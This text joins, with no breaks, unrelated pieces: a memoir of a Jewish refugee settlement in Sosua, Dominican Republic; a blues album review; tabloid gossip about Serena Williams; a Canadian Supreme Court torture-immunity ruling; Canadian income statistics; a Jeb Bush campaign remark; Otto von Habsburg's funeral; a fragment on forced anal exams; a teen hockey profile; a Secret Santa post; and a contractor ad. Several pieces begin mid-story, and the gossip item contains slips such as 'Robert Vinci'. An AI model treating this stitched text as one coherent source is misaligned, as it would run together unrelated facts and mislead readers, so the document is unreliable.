HANDOUT IMAGE: Caf� Oasis street with the Codik house in back, Sosua, Dominican Republic, 1940?s. -- The story of Sosua, a Dominican village that became a haven for Jewish refugess escaping the Holocaust. (Sosua Virtual Museum) (Sosua Virtual Museum /Sosua Virtual Museum )
SOSUA, DOMINICAN REPUBLIC ? JULY 30: A view of a street in Sosua in the Dominican Republic, where the writer's garndparents' house once stood, photographed July 30, 2017. -- The story of Sosua, a Dominican village that became a haven for Jewish refugess escaping the Holocaust. (Emily Codik / The Washington Post)
Joe's family arrived in Sosua in 1947, part of the last refugee group selected by the Dominican Republic Settlement Association, an organization founded by the American Jewish Joint Distribution Committee (JDC) in New York, which sought safety and relief for Jews. In 1938, Trujillo had offered to take in up to 100,000 refugees. In turn, the association funded and populated Sosua, but the outbreak of World War II and a 1941 Nazi ban on Jewish emigration meant that only about 4,000 visas were ever issued.
The association gave farmers like Joe's father a mule, a horse, 10 cows and 75 acres of land. In the early days, urban transplants wearing wide straw hats rode horse-drawn wagons from one plot to the next. Joe told me that his father, once a furniture maker, got up at 4:30 every morning to milk his cows.
On weekends, a projector would light up at the theater in town for a matinee movie. Joe and his sister would make the two-kilometer walk back to the family farm in the dark. He never told his parents where he was going. Nobody feared anything then.
For decades, Joe, now 76, was an executive with a successful dairy and meat cooperative founded by Sosua's Jews. Today, he lives in a spacious house on the outskirts of town, in a plush development behind a guarded security gate. He told me how he'd slept with his windows open as a kid. He remembered the town library, the cafe, the nights when everyone gathered around a record player to listen to opera.
But I had heard those stories before. I wondered if that was all he knew.
There was a long pause. "What else is important for me to know?" I asked.
There are things you won't find in the history books, he said.
Then he made a reference to a best-selling book I had never read, about a fictional small town where sex, gossip and scandal hide behind the pretense of paradise.
"Sosua," he said, "was a small Peyton Place."
I didn't understand. What did a racy novel have to do with my family's past?
HANDOUT PHOTO: The Codik family in the capital of the Dominican Republic, shortly after arriving from Germany, ca. 1940. Clockwise from top left: Bruno Codik, Irma Codik, Manfred Codik, Hella Blum and Margot Labi. (Family photo)
HANDOUT IMAGE: Sosua's synagogue, Sosua, Dominican Republic, 1940?s. -- The story of Sosua, a Dominican village that became a haven for Jewish refugess escaping the Holocaust. (Sosua Virtual Museum) (Sosua Virtual Museum /Sosua Virtual Museum )
The few published works about Sosua read like history textbooks. But there were other texts and documents that I had never seen, and I knew where to find them.
Next door to the town synagogue that the refugees founded is a small Jewish museum. The synagogue offers services only a few times a year and isn't visited much, and peeling paint covers the museum doors. Inside, I found a damaged photo of my Aunt Margot's wedding. Documents on display showed the stains of age. A map of Sosua had lost one of its adhesive letters and now read only "Sosu." A group of descendants, including Ivonne and Joe, had planned to raise funds for a renovation, but the efforts have yet to get off the ground.
The museum archives were in a tiny air-conditioned room in the back. Dozens of boxes sat on industrial steel shelves, some labeled, others not. It was overwhelming. There was so much history here, little of it digitized, none of it known to me. I started pulling tan and crinkled sheets out of folders, searching for clues.
I found a file for my Uncle Max, my Aunt Hella's husband. Stashed inside, a form detailed my aunt's journey from Germany to the Dominican Republic. I had to read it twice. What it said went against every story I had been told about my family's escape from the Nazis.
They didn't flee Berlin the night before Kristallnacht. They'd left a month earlier — Oct. 12, 1938 — and arrived in the Dominican Republic in November. A separate list of settlers revealed that the family arrived in Sosua in stages, starting in 1947, much later than I'd thought.
Settlers examine new kitchenware at the colony's general store. Sosua, Dominican Republic, 1940�s. -- The story of Sosua, a Dominican village that became a haven for Jewish refugess escaping the Holocaust. (American Jewish Joint Distribution Committee) (Hans Deutsch/American Jewish Joint Distribution Committee)
Children's Purim celebration in the school. Sosua, Dominican Republic, 1940�s. -- The story of Sosua, a Dominican village that became a haven for Jewish refugess escaping the Holocaust. (American Jewish Joint Distribution Committee) (Hans Deutsch/American Jewish Joint Distribution Committee)
Leaving on the eve of Kristallnacht had always been a key part of our story, a hurried exit from Berlin at just the right moment, before Nazi mobs stormed Jewish neighborhoods, killing at least 91 Jews, and anti-Semitism took a more violent and radical turn. So was their time in Sosua, but the reality was that they didn't arrive there until after the war.
I had never asked about the timeline. Instead, I pictured them abandoning an apartment in Berlin and finding refuge in a rustic home in Sosua. It was a reminder of how stories, consciously or not, can be romanticized as we retell them, even to ourselves.
I started digging deeper into the archives, looking for anything that could provide a hint about what Joe had told me. Fraying papers, many stashed haphazardly in folders and boxes, detailed transcripts of meetings, vital records, academic papers and memos sent from Sosua to the settlement association in New York.
On one shelf, I saw a narrow light-blue box labeled "exit interviews." Ivonne, who helps run the museum, had never seen it before, and from the looks of what was inside, nobody had seen it for years. I pulled it onto the table. Inside were several testimonials from refugees, all men, who had abandoned Sosua and were apparently questioned by the settlement association about why they'd left.
"I could not stay [sic] the sun," said a 29-year-old Austrian.
"I had nothing to do there," said a 27-year-old Romanian.
"The agricultural work was too hard for me," said a 34-year-old Pole.
A settler’s two-story residence in Sosua, photographed in the 1940s. (Hans Deutsch/American Jewish Joint Distribution Committee )
Then there were two others, Tibor Meister, a 24-year-old Hungarian textile technician, and Louis Lajos Klein, a 28-year-old Czech mechanic, who cited not the town's conditions, but tensions in Sosua that left them both feeling panicked.
Meister said he was threatened by a group of German Jews in the dormitory.
"I have been attacked by some twelve men while sleeping in my bed," Klein said. "That is why I preferred to leave Sosua of fear they might repeat it or kill me."
Until then, I'd heard that people left Sosua in search of better work or education. No one had ever mentioned violence. Could it have been true?
The JDC doesn't have a record of the incident, but in "Tropical Zion: General Trujillo, FDR and the Jews of Sosua," historian Allen Wells says the settlement association asked 45 troublemakers — "discontented colonists" whose presence was undermining morale — to leave Sosua for Ciudad Trujillo in 1942. Meister and Klein — and the others — could have been part of that group.
Among other files, I found an analysis written by former settler Ann Bandler for Columbia University in 1956. She suggested that Sosua's administration had demonstrated an "impractical idealism"and blamed it for much of what had gone wrong. With proper planning and management, these middle-class, white-collar Europeans could have built the new life they had been promised. Instead, the early settlers had felt "dispirited and pessimistic" from the start.
Settlers at work in the garden. (Hans Deutsch/American Jewish Joint Distribution Committee )
Men build the roof of a new settler's house. (Hans Deutsch/American Jewish Joint Distribution Committee)
"They came to Sosua unprepared, unexperienced, unselected," the document said. "It is not sufficient to benevolently take these people away from their past sufferings and only deposit them in an undeveloped area."
A parade of experts, Bandler wrote, had made plans for Sosua, advising the refugees to plant bananas, raise livestock or grow tomatoes; that last effort resulted in such a failure that a large surplus of tomatoes spoiled and was thrown into the sea.
The land they had been instructed to develop turned out to be better suited for pasture than farming, and the Jews ended up finding success in a dairy and meat operation that — ironically — sold pork.
But the administration's unkept promises and poor directions bred resentment, Bandler wrote, until antagonism toward it became the main bond among the settlers.
The JDC acknowledges that Sosua's refugees faced considerable challenges. "The context under which these efforts occurred was totally unprecedented: a war raging, the Holocaust in full force and many countries closing their doors to Jews," Linda Levi, director of the JDC archives, later wrote me in an email.
Still, with every page I read, the story that Sosua had been some sort of paradise, the story I had always been told, started to come apart.
SOSUA, DOMINICAN REPUBLIC ? JULY 29: The Jewish museum in Sosua, Dominican Republic, photographed July 29, 2017, includes a map of the town that has lost one of its adhesive letters and now only spells ?Sosu.? -- The story of Sosua, a Dominican village that became a haven for Jewish refugess escaping the Holocaust. (Emily Codik / The Washington Post)
Documents hidden away in the archives revealed tensions I had never heard about, between Austrians and Germans, between those who lived in town and those on farms, and those who wanted to improve the community and those who wanted to abandon it and immigrate to the United States.
It wasn't unusual for the Jews to fight among themselves. People screamed at each other at community meetings. Divisions emerged over who would be the boss and how to address the town's problems.
On a warm night, while one refugee listened to a German radio broadcast, another became enraged by the propaganda, according to a manuscript written by a former resident, Ernest B. Hofeller. "He entered his room, ripped the radio out of its socket causing a short circuit and smashed it," Hofeller wrote.
One main reason Sosua fell apart, several refugees said in interviews, was simple. It wasn't only the backbreaking agricultural work, the infighting, the culture shock or the desire to find a better life in the States.
"There were very, very few girls," refugee Ruth Kohn, 90, now living in Springfield, Va., told me. Single men had trouble finding marriageable partners in Sosua, giving them even less reason to stay. In 1942, according to the JDC, among a population of 472 were 158 single men and 38 single women.
The settlement association had looked for young men with an agricultural background who could develop the land, and women were less likely to leave Europe on their own. Trujillo also sought out men, hoping that the wave of immigrants from Europe would intermarry with Dominicans and "whiten" his nation's people.
Settlers had to ask the administration for permission any time they wanted to leave Sosua, and the nearest major town was hours away by horseback or about an hour by car, making romance between Dominicans and Jews difficult. These conditions helped spawn cases of adultery in the small community, constantly witnessed and whispered about.
"You never knew in the morning when you woke up which young man had slept with a married woman," Kohn said.
But it wasn't only single men sleeping with married women. The settlers gossiped about both husbands and wives engaging in affairs, Joe Benjamin told me, and the Columbia University analysis mentioned a "sexual turpitude" that had resulted in cases of syphilis.
It made me think of a short passage in "Dominican Haven: The Jewish Refugee Settlement in Sosua," one of the few books published about the town, that now made a lot more sense. In the 255-page book, a few paragraphs, easily overlooked, mentioned these dalliances: In 1942, doctors "warned men to stay away from bordellos and unknown women and, assuming their advice would be ignored, to use condoms."
The bordellos in question were in Charamicos, a poor neighborhood on the south end of the beach. The refugees had populated El Batey on the north end, and those looking for sex would discreetly venture south. Today's sex industry is completely different, employing women from across the Dominican Republic and Haiti, who take spins around town and on the beach looking for clients.
"Everything is just much more visible," said Denise Brennan, a Georgetown University professor who wrote the book "What's Love Got to Do With It?" about Sosua's sex industry.
Still, it was the Jews — not the tourists blamed for Sosua's demise — who first visited prostitutes. But that part of the story had been conveniently lost in the retelling.
SOSUA, DOMINICAN REPUBLIC ? JULY 31: A Star of David monument near the shore in Sosua commemorates its Jewish history, photographed July 31, 2017. -- The story of Sosua, a Dominican village that became a haven for Jewish refugess escaping the Holocaust. (Emily Codik / The Washington Post)
When I got back from Sosua, I called my Aunt Hella and told her that the archives told a different story about our family's journey. She said that the night before Kristallnacht must have been when they arrived in the Dominican Republic, not when they left Berlin.
She told me that the first few years in the country were hard — my grandparents struggled to learn Spanish and earn money. Records the JDC sent me revealed more details: In Santo Domingo, then called Ciudad Trujillo, my grandfather tried selling tableware, peddling kitchen coal, working as a carpenter and serving as a messenger. But despite working hard, he said he still couldn't make a living.
Maybe that's why he decided to move to Sosua. My Aunt Hella was the first to go, after marrying my Uncle Max, one of Sosua's early settlers, at 19. The rest followed her. Hella and Max stayed in Sosua only a few years. My grandparents lived there through the late 1950s, while my Aunt Margot and Uncle Vittorio remained until the 1960s.
It was hard getting used to life in Sosua, Aunt Hella said, but she refused to believe the story about the attack in the barracks. That must have happened before she got there, she said. She never saw any violence like that.
I asked her about the affairs.
"Yes, people would trade partners," she said. "That was a mess."
Why don't people talk about those things? I told her that I'd gone to Sosua to find out what had happened. I left thinking that idealism has always been a part of the town, woven even into the stories we tell.
There were challenges in Sosua, she said, but everyone could live however they wanted, far from the Nazis and without fear of persecution.
"They were free," she said.
That was what mattered, of course. Sosua's legacy is that it saved so many lives. It's easier to hide the story's difficult aspects in a dusty box in a locked room in a small beach town, and it's more comfortable to remember the town as a perfect haven.
But the stories we tell ourselves become history, and the full version of what happened in Sosua is being lost. The town has become so foreign to those who left that some have vowed never to return, pushing it deep into their memories.
My Aunt Hella told me about one of the last times she visited, with her brother-in-law, Vittorio, more than a decade ago. She stood in the middle of the town, stunned at how things had changed, and turned to her brother-in-law.
"Let's forget about this," she said.
He doesn't just love it; he has made it his life. He has modeled himself on the likes of Robert Johnson and Son House.
Blues music originated with African Americans in the American South, but it’s certainly grown and changed in ways its original performers would scarcely recognize. And that can lead to conflict, especially when whites, Stoneking, perform the blues.
Stoneking says he draws inspiration from the blues music that was played in places like Mississippi in the 1920s.
He admits that the cracked deserts of Australia could hardly be more different than the lush deltas of Mississippi. But for Stoneking, the music still seemed to fit his environment.
"The first time I traveled through Mississippi, I was surprised. It was really at odds with the imaginative world that I had set these sounds into. There is a sort of ancient eroded quality to Australia, not like Mississippi's kind of green, cleared jungle and floodplains. But growing up in the desert in Central Australia, I found [the blues] fit really well with the sort of imagery and context I had put it in"
While blues music might fit the arid Australian landscape, some readers will undoubtedly cringe at the cover image of Stoneking's most recent album cover for "Gon' Boogaloo."
C.W. Stoneking's new album cover Credit: Courtesy/Artist
In the US, the recent history of minstrelsy and black-face performances (specifically white musicians performing in stereotyped African American vernacular) is hard to escape.
Upon closer inspection, it's clear that his face is painted as a skull, the black paint serving to imply the absense of a face, rather than skin color. However, there are other questions.
Stoneking's record label, King Hokum, refers to a sub-genre of the blues, hokum blues. Hokum was known for comical and often bawdy lyrics that made frequent use of inuendo.
The genre is pure entertainment, composed for the vaudeville shows and rundown theaters home to minstrel shows in the 1920s and '30s.
Both black and white musicians sang hokum. It wasn't only white people making fun of black people, nor was it black people playing up stereotypes for a white audience. Stoneking, for his part, sings his hokum songs with a strong American southern accent, an accent specifically associated with African American residents of turn-of-the-century Mississippi.
It is doubtless that Stoneking is sincere in his appreciation of this music. Yet, there are still obvious markers of the minstrel roots of his music. References to "the jungle" and fictionalized voodoo practices abound in his lyrics.
Still, no question that I love this album. It is incredibly well-crafted and true to both musical style and recording techniques of prewar blues in the South.
Music doesn't have to be politically correct, but it should be sensitive to the music's history as well. Imitation may be a form of flattery but the history of white people's enjoyment and imitation of African-American culture has been rife with exploitation of black performers. But Stoneking makes no mention of that history — despite using a heavily affected black, southern accent.
Refusing to acknowledge this history does not impact the quality of Stoneking's album. However, it does impact my listening. Blues is black music. Blues music touches me because it is full of life. Without that context, though, it's just another piece of entertainment. And there's plenty of that out there.
Here is Stoneking in his own words, on the topic:
Us Weekly were the first to romantically link Williams and Ohanian, with a source for the publication insisting that the pair had met at a luncheon, where they instantly hit it off.
The source explained, “They met a lunch. It’s new.” Another source for Us Weekly then added further information regarding Ohanian and Williams’ potential courtship, downplaying it a tad by referring it to it simply as a “flirty friendship.”
[Image via Getty/Alex Goodlett] However, clearly the pair are growing increasingly close after originally meeting and bonding at their lunch, because it’s also been alleged that Serena Williams brought 32-year-old Alexis Ohanian to one of her training sessions at the Los Angeles School Of Gymnastics on Saturday, October 24.
Speaking of their interactions at the gym, an eyewitness and onlooker explained, “He called her babe and they held hands.” In fact, because of the amount of time they’ve been spending together, Ohanian has even actually been getting into tennis. The source added, “He said he’d never been into tennis until they started dating!”
These rumors regarding Ohanian and Williams dating are rather surprising, considering the amount of speculation that had been previously linking Serena with the rapper and singer Drake over the last few months.
Drake and Serena Williams, who had originally been linked with each other back in 2011, allegedly rekindled their relationship back in August. These rumors started after the pair were spotted at a Cincinnati restaurant together, and only increased after Drake was constantly spotted court-side during Serena Williams’ run to the US Open semi-final in September.
Serena Williams was on course to become the first woman to win the Grand Slam if she’d been victorious at Flushing Meadows, having claimed the Australian Open, French Open, and Wimbledon crowns earlier that year. However, Serena ultimately lost to 32-year-old Italian Robert Vinci in the semi-final, which was one of the biggest shocks in sporting history.
Once again, Drake was in the crowd when Serena Williams lost in the hugely surprising manner. This immediately led fans to insist that Serena Williams’ defeat was the result of the alleged Drake curse.
Since then, though, the rumors surrounding Serena Williams and Drake dating have emphatically cooled. There was speculation from Media Take Out yesterday that Serena Williams was actually pregnant with Drake’s baby. However, as the Inquisitr reported, various other news sites were quick to insist that the rumor website had emphatically made up the story.
Meanwhile, confirmation that Drake and Serena Williams almost certainly aren’t together anymore emerged after Drake was spotted wining and dating with another woman.
[Image via Getty/Noam Galai] Earlier this month, the Inquisitr reported that Drake was photographed heading into a rather trendy and impressive Hollywood club alongside a woman, who was deemed as a “Serena Williams lookalike.” The unknown woman was also being protected by one of Drake’s bodyguards as she entered the club, too.
Before Serena William reconciled with Drake, it was previously suggested, via Fox News, that the tennis player, who has won 36 major titles during her career, was in a relationship with her coach, Patrick Mouratoglou.
Alexis Ohanian created Reddit alongside co-founder Steve Huffman shortly after he graduated from the University of Virginia in 2005, where he studied and gathered degrees in commerce and history. Ohanian ultimately left Reddit in 2009, and since then, he has launched numerous other ventures, including travel website Hipmunk and Das Kapital Capital.
The Supreme Court ruled 6-1 on Friday that current federal law does not allow Stephan Hashemi to sue Iran in Canadian courts for the 2003 torture, sexual assault and death of Zahra Kazemi, an Iranian-Canadian photojournalist who had been covering protests outside Evin Prison, near Tehran.
But the court made it clear that the principle of state immunity from lawsuits in foreign courts can give way if Parliament decides it should. It already has in cases where a foreign state has supported terrorism. The Conservative government created that exception in 2012, allowing lawsuits over terrorist acts committed since 1985.
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"There's an important message in the ruling – Parliament has to do something about this," Mathieu Bouchard, a Montreal lawyer who represented Mr. Hashemi, said in an interview. "There should be an exception for all gross violations of human rights."
Clarissa Lamb, a spokeswoman for Justice Minister Peter MacKay, would say only that the government is reviewing the court's decision.
In creating the terrorism exception, Ottawa rejected attempts to add torture or genocide, and a private member's bill to do so sponsored by former Liberal justice minister Irwin Cotler did not become law. The United States allows torture lawsuits against foreign governments, but only those that are on a government list of state sponsors of terrorism – a list that includes Iran.
Justice Louis LeBel, writing for the majority, said the court should not interfere in government policy involving state immunity, which from Canada's standpoint is "the oil that allows for the smooth functioning of international relations."
"Canada has given priority to a foreign state's immunity over civil redress for citizens who have been tortured abroad," he wrote. "This policy choice is not a comment about the evils of torture, but rather an indication of what principles Parliament has chosen to promote given Canada's role and that of its government in the international community."
Justice Rosalie Abella, the lone dissenter, suggested the court had failed to uphold the integrity of international law, which prohibits torture. "The question then is how can torture be an official function for the purpose of immunity under international law when international law itself universally prohibits torture?"
Renu Mandhane, director of the International Human Rights Program at the University of Toronto's law school, which intervened in the case to argue for a right to sue torturers, said she feels deflated by the ruling. "There's something totally perverse that the State Immunity Act privileges the right of Iran to torture Canadian citizens over the right of Canadians to seek redress – and the court says that's okay.
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Iran participated in the court hearings, at the lower courts. The Supreme Court called the facts of the case "horrific," saying Ms. Kazemi was ordered detained in the very prison she had been photographing by Iran's chief prosecutor, Saeed Mortazavi.
The NHS, which replaced Statistics Canada’s mandatory long-form census, found that the richest 10% of Canadians paid about 42% of all income tax collected.
Alison Hale, Stats Canada’s director of income statistics, says that’s not surprising.
"That’s how the income tax system is designed," said Hale.
The machinery of government plays Robin Hood with that money through various benefit programs.
That means the poorest 20% of Canadians get more than half their income from government pension plans, Old Age Security, Guaranteed Income Supplements, Employment Insurance benefits, welfare payments or child benefit programs.
Hale suggests people may find that finding "reassuring."
"There’s a perception that transfers should be going to people in need," she said.
The groups most dependent on government transfers, said Hale, are seniors and single women raising children under six.
Residents of some of the Atlantic provinces were the most dependent on government transfers for their income.
"In three provinces — Newfoundland and Labrador, Prince Edward Island and New Brunswick — the total in transfers received was slightly more than the taxes they paid," said the NHS.
In all other provinces and territories residents paid more in income tax than they got back from government programs.
"As a percentage of total income, Alberta was the only province whose taxes exceeded transfers by more than 10 percentage points," said the NHS.
The data also shows that while seven in 10 Canadians get some kind of government transfer, only 13% depend exclusively on those transfers for their income.
For the most part, Canadians don’t depend on their fellow taxpayer for their income.
The NHS found that almost 88% of Canadians’ incomes come from private sources.
"Obviously, we’re a nation of workers," said Hale.
In fact, many Canadians are working into their golden years to supplement their income.
Most still retire at 65 when their state pension benefits become available, but the NHS still found that "at age 66, about four in 10 still had employment income."
That gradually declines as workers age, however.
"By the age of 74, employment income accounted for less than 10% of total income," said the NHS.
The 2011 NHS shows the average income of Canadians is $38,700.
"I'm kind of old school. I like the old school guys like Batman," Bush told a mostly Hispanic audience of 250 people at an event sponsored by the LIBRE Initiative in North Las Vegas.
But he didn't stop there, jokingly adding, "I saw that Super Girl is on TV, I saw it when I was working out this morning, there was an ad promoting Super Girl. She looked pretty hot. I don't know what channel it's on, but I'm looking forward to that. That'll make news."
Bush's comments quickly picked up steam on twitter. The show "Supergirl," which airs on CBS, premieres on Monday Oct. 26 at 8:30pm ET.
Jeb Bush on Super Girl, "She looked pretty hot," https://t.co/yBxEHDdSJc — Andrew Kaczynski (@BuzzFeedAndrew) October 22, 2015
Because Twitter is ridiculous, I was forced to watch the @supergirlcbs promo. She is hot. #politicorrectfact https://t.co/p2zkyoFXgF — Kristy Campbell (@kristymcampbell) October 22, 2015
In addition to DC Comics creations, the Florida Republican also weighed in on more serious topics, ranging from the prospects of a government shutdown and the government's need to lift the debt limit.
"I don't think we should shut down the government. That creates more cost to government, actually. I don't think we should default on the debt," he said.
Bush talked of the the threat of default as an "unserious act" that "would create real problems for our economy." But he qualified his comments by allowing that using the debt ceiling as a way to negotiate for reform was "more than fair."
Bush made several efforts to appeal to the Hispanic audience - he talked about his Mexican-American wife, spoke in Spanish at length, and answered a question on immigration reform in Spanish. He repeated his answer in English, arguing that immigration reform should involve controlling the border and a path to legal status. Undocumented immigrants would pay a fine and then would be allowed to stay in the U.S. if they don't commit crimes. The crowd applauded loudly when Bush told them that he also supported a path to citizenship for Dream Act kids.
"Those that want to create walls, physical walls and walls in general, are not dealing with reality," he said. He went after rival Donald Trump who has made immigration and building a wall on the U.S.-Mexican border a centerpiece of his campaign.
"There's been a visceral reaction from the Latino community," Bush added.
LIBRE, a conservative Hispanic outreach group backed by the Koch brothers, sponsored Wednesday's forum.
According to LIBRE president Daniel Garza, the organization's long-term goal is to educate and inform the Latino community on the importance of free market policies. If doing that "helps to improve the Republican vote, so be it."
However Trump's rise risks alienating the very Hispanics LIBRE is courting. In an interview Garza described a "visceral reaction" from the Hispanic community against Trump's policies, calling the billionaire's proposed immigration policies "dead wrong" and "just cruel" when it came to seizing remittances. Other GOP candidates vying for the coveted support of the Koch Brothers have also addressed the organization over the past two months.
The former Florida governor spent the earlier part of the day in Reno, Nevada where he unveiled his Western land management policy. His plan calls for moving the headquarters of the Interior Department which manages federal lands from Washington D.C., to a city in the West - like Reno, Denver, or Salt Lake City.
While in Reno, Bush weighed in on the news that Vice President Biden wouldn't run for the Democratic presidential nomination. The former Florida governor told reporters that he was "kind of surprised" by the vice president's announcement, and said that while he disagreed with Biden on policy and philosophy, "he was clearly a great guy and served with distinction."
The funeral of the last heir to the Austro-Hungarian Empire, Otto von Habsburg, has taken place in the Austrian capital Vienna.
European royals and political leaders, many from nations that his family ruled over, attended the service.
The body of the last crown prince was buried in the Imperial crypt at a private ceremony. His wife, who died last year, was buried alongside him.
Mr Habsburg, a former MEP, died earlier this month at the age of 98 in Germany.
Thousands of Austrians and tourists lined the streets of Vienna's city centre ahead of a procession into St Stephen's Cathedral, where about 1,000 mourners had gathered.
HEART BURIAL Burying the heart separately to the body was a custom used by a number of medieval European aristocrats: Richard I (Richard the Lionheart): The English king's heart was buried at Rouen in Normandy after he died in 1199. His body was buried in Anjou
The English king's heart was buried at Rouen in Normandy after he died in 1199. His body was buried in Anjou Robert the Bruce: The king of the Scots, who died in 1329, is buried in Dunfermline Abbey but his heart is buried in Melrose Abbey
The king of the Scots, who died in 1329, is buried in Dunfermline Abbey but his heart is buried in Melrose Abbey The House of Habsburg has practised heart burial for centuries But the practice was not limited to monarchs. English writer Thomas Hardy's body is interred in Poet's Corner in Westminster Abbey but his heart is buried in the grave of his first wife Emma in Dorchester.
Vienna's Cardinal Christoph Schoenborn presided over a funeral mass, attended by European royals including Sweden's King Carl Gustaf and Queen Silvia, Grand Duke Henri of Luxembourg and Prince Hans-Adam II of Liechtenstein.
Among the political figures at the ceremony were Austrian President Heinz Fischer, and the prime ministers of Croatia and Macedonia.
Members of historical societies wearing traditional uniforms mingled with mourners outside the cathedral watching the service on large screens.
Mr Habsburg's body was buried shortly afterwards in the Imperial crypt where his ancestors lie. However, his heart will be taken to Hungary for burial at an abbey west of Budapest on Sunday, in accordance with a Habsburg tradition.
A passionate advocate of European unity, Mr Habsburg served as a member of the European parliament for two decades.
His son Karl Habsburg said his father witnessed huge changes in Europe during his life.
"It would always be wrong to only remember him in the context of the old monarchy or only remember him in the context of the European Union. I think he should be remembered in the whole arch that his life has been creating... over the whole changes that happened to Europe in his lifetime," he said.
The BBC's Bethany Bell in Vienna says that there have been some complaints that the pomp surrounding the funeral is out of place in a republic.
'Life in exile'
Mr Habsburg was born in 1912, six years before the collapse of the empire at the end of the First World War.
Image caption Otto von Habsburg only relinquished his claim to the fallen Austro-Hungarian empire in 1961
He spent many decades exiled from Austria after his family fled in 1919, but relinquished his own claim to inherit the empire in 1961. Five years later he was allowed to return to Austria.
He was an opponent of the Nazis and spoke out against Germany's annexation of Austria in 1938.
In 1989 he helped organise the Pan-European Picnic demonstration on the border of Austria and Hungary.
The border was briefly opened, an event credited with helping usher in the fall of the Berlin Wall months later.
Mr Habsburg then dedicated himself to having the former communist-ruled states of eastern Europe brought into the EU.
The advocacy group calls the examinations “a form of cruel, degrading and inhuman treatment” that amounts to sexual assault, violates international conventions and could rise to the level of torture.
The report unveiled Tuesday draws on interviews with 32 men and transgender women subjected to the exams in eight countries that ban same-sex conduct: Cameroon, Egypt, Kenya, Lebanon, Tunisia, Turkmenistan, Uganda and Zambia.
The report says the exams are rooted in “discredited 19th century theories” that homosexuals can be identified by characteristics of the anus.
A Kenyan court has upheld the use of anal examinations.
© 2016, Associated Press, All Rights Reserved.
This material may not be published, broadcast, rewritten, or redistributed.
“The atmosphere around the room, stepping on the ice every day, I just love it,” the Spokane Chiefs’ rookie forward said. “I love scoring. I love the aggressiveness of it. It’s just a lot of fun. And it’s different from what both my parents did.”
According to Stewart, his dad is a soccer guy and his mom is a rugby fan.
That would be rock music icon Rod Stewart, who is from England, and supermodel Rachel Hunter, who is from New Zealand. They divorced in 2006.
“I’m privileged to have parents like that,” their son said. “I’ve traveled the world, (but) I never thought of myself different than anyone in the room. I’ve never been too cocky about it, or talked about it.”
At a very young age he strived to be an individual.
“I’ve always wanted to carve my own path,” said Stewart, who was born in London. “I didn’t want to be Rod Stewart’s son who really does nothing. … I wanted to do my own thing, get out of California, meet new people, like the boys.”
“In the room” and “the boys” are so connected to hockey, it’s hard to imagine that Stewart grew up in Southern California, or that he considers himself “a New Zealand kind of guy.” Laid-back is in sharp contrast to his presence on the ice.
“He’s got upside,” Chiefs coach Don Nachbaur said. “He’s got good size, skates real well, he’s an intelligent player. He’s a committed athlete. That’s a key word, he’s an athlete.”
The attitude of the 6-foot-1, 180-pounder, who just turned 17 last month, also impressed the demanding coach.
“He’s a great teammate, he’s a good friend. He’s just another one of the guys,” Nachbaur said. “That speaks volumes of who he is. He’s a down-to-earth young man. You look at his background, who his mum and dad are, he’s obviously very proud of that, but he’s here to be his own man, his own person.”
Despite the California roots, Stewart’s hockey flame was lit on the other side of the country.
“When I was like 3 or 4, I was in New York for one of my dad’s shows and I went to a Rangers game,” he said. “From then on I told my mom I wanted to do that. The next day I was skating, not playing hockey, just free skating. That’s how it started.”
That isn’t quite the same scenario his mother recounted, but older sister Renee was into skating.
“Virtually from 5 until now, he’s been playing hockey,” Hunter said. “I think it’s an incredible sport. It’s an amazing family environment for a child to grow up in.”
She altered her schedule for all the demands on a hockey parent and has seen her son flourish.
“As a parent, if your kid has a smile on their face and they’re happy, that’s all I want for my kid,” she said.
Stewart played his way up the ladder and earned an invitation to a WHL identification camp.
Although he wasn’t selected in the Bantam draft, he was asked to attend the Chiefs’ camp, where he promptly turned heads by winning the 1½-mile run.
“That was very impressive,” general manager Tim Speltz said. “His fitness test was unbelievable, which tells you there’s an athlete there or a guy who’s worked very hard.”
With a strong camp as a 15-year-old, he was put on Spokane’s 50-player list. When he returned last fall, however, he had a minor injury, so he was sent back to Junior Kings, where he had an outstanding season.
“When they said I was a year away, I put a lot of work in, hoping to make the team,” said Stewart, who was recently cleared to play for the Great Britain National Program. “Luckily, I did. … The WHL just sounded a lot better, a better route for me to go, more games played than the college game.”
Stewart considers himself a defense-first forward like his confidant, Los Angeles Kings forward Jarrett Stoll, who dated Hunter. In Stewart’s first game, he was on the penalty kill unit and got plenty of ice time as the third-line center. He was injured by illegal hit in the second game and missed the next four.
Still, that was enough to know he was in the right place.
“I love it,” he said. “I didn’t think I was going to make it this far. You get what you put in, all the hard work.”
“No question he can be a good junior,” Speltz said. “The question is, can he keep taking the steps and be a pro. The commitment he’s shown so far, everything he’s done, he wants to be a player.”
His mother, who was on the cover of the Sports Illustrated swimsuit issue twice and more recently on “Dancing with the Stars,” just wants to be a hockey mom.
“Like any hockey mom from western Canada … very committed,” Speltz said. “A very classy lady in all the dealings we’ve had.”
“She’s a great hockey mom, yeah, but I don’t think she really knows the game,” Liam said. “She knows a few rules, that’s about it.”
Hunter didn’t hesitate to follow her son to Spokane and has rented with an open-end lease.
“I love it up there,” she said. “I want to be a part of it as much as I can. … to see him reaching his goal and his dream. Seeing all the kids, because it’s such a team sport … is what’s really impressive and cool. You do what you can with your kids. Liam’s as happy as anything up there.”
Though he has tunnel vision for hockey, Stewart is going to be in the shadow of his famous parents for a long time. He’s prepared.
“I’ve had it for pretty much my whole life,” he said. “I just kind of blank that stuff out. When I was younger it bothered me. … I just say I’m not different than you are.
Day 1 - I'm matched. My Santa writes me that I will definitely get a shirt. The sun is shining. It's a good day.
Day 10 - My Santa again. He ordered my gift from abroad, it will take a while. I'm used to wait. Everythings fine.
Day 31 - I'm starting to get worried. Write my santa. Get a direct response. He will check it out.
Day 32 - Bad News: Santa messages the shirt got lost on the way, nowhere to be found. But the unbelievable good news: Santa will send me another one! Can't believe how lucky I am for that match
Day 37 - I have to leave town for work
Day 39 - Shirt arrives and can be picked up at my local post office
Day 41 - I get home, but a friend fucked up so I don't have my mailbox key. No way to get to that notification to pick up my shirt
Day 45 - Finally I get my awesome shirt!
I have a lot of shirts and by a lot I mean that my family starts to say that it's ridiculous. But I lately noticed that I don't have any Star Wars Shirts! So in more than just one way you can talk about a perfect match!
Over the last 27 years, we have been serving the restoration needs of our community. Throughout our time in business, our restoration company has continued to alter our services to better provide our clients with the work that they need, exactly when they need it. We are the preferred contractor for many insurance companies we work with, and these companies even guarantee our work! Jacksonville FL Restoration Services From severe storms to clogged pipes, there a number of reasons why you may need the professional help of a restoration company. Only a business truly experienced in restorations and removal will be able to provide you with the restoration services you need to ensure the safety and health of your space. For this kind of work, you can count on CCI Restoration Services!
